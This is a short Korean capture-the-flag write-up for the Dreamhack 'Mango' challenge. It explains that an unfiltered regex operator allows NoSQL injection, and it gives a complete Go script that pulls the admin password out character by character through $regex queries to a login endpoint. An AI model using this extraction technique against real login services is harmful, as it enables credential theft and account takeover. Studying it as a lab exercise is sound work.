Back

[dreamhack] Mango

[문제]

이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제입니다.
플래그는 admin 계정의 비밀번호 입니다.
플래그의 형식은 DH{…} 입니다.
{‘uid’: ‘admin’, ‘upw’: ‘DH{32alphanumeric}’}

[해결법]

  • NoSQL 인젝션을 하는 문제
  • NoSQL 인젝션에 사용하는 정규표현식을 필터링 하지 않아 쉽게 추출할 수 있었다.
  • Go 공부할겸 Go로 짜보았는데 문법이 익숙하지 않아 2시간정도 걸린것 같다;ㅁ;
  • Go에서 알파벳, 숫자를 arr로 Converting 해주는 함수를 못 찾아 하드 코딩을 했는데 뭔가 지저분 해졌다.
package main

import (
	"fmt"
	"io/ioutil"
	"net/http"
)

func main() {
	var arr = [...]string{"0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"}
	var password string = ""

	n := 0
	for n < 32 {
		for _, tmparr := range arr {
			var url string = "<attackURL>/login?uid[$regex]=^a.&upw[$regex]=.{" + password + tmparr
			resp, err := http.Get(url)

			if err != nil {
				panic(err)

			}

			defer resp.Body.Close()
			data, err := ioutil.ReadAll(resp.Body)
			if err != nil {
				panic(err)
			}

			if string(data) == "admin" {
				password += tmparr
				fmt.Printf(password + "\n")
				n += 1
				break
			}
		}
	}
}
comments powered by Disqus